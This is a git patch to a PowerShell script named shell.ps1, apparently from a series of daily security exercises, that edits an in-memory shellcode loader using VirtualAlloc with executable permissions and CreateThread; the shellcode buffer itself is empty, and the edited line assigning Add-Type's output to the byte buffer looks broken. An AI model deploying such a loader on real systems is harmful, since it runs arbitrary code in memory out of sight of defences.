From 427fd108d1dfd818a6122de149385f2a2cb7d2d0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Sivert=20V=2E=20S=C3=A6ther?= Date: Wed, 11 Dec 2024 20:50:29 +0100 Subject: [PATCH] Fix Day 8 powershell --- 8/shell.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/8/shell.ps1 b/8/shell.ps1 index ca25054..512c233 100644 --- a/8/shell.ps1 +++ b/8/shell.ps1 @@ -1,4 +1,4 @@ -$Shell = "" +[Byte[]] $buf = Add-Type @" public class Win { @@ -12,7 +12,6 @@ public class Win public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ -[Byte[]] $buf = $Shell [IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length) $thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)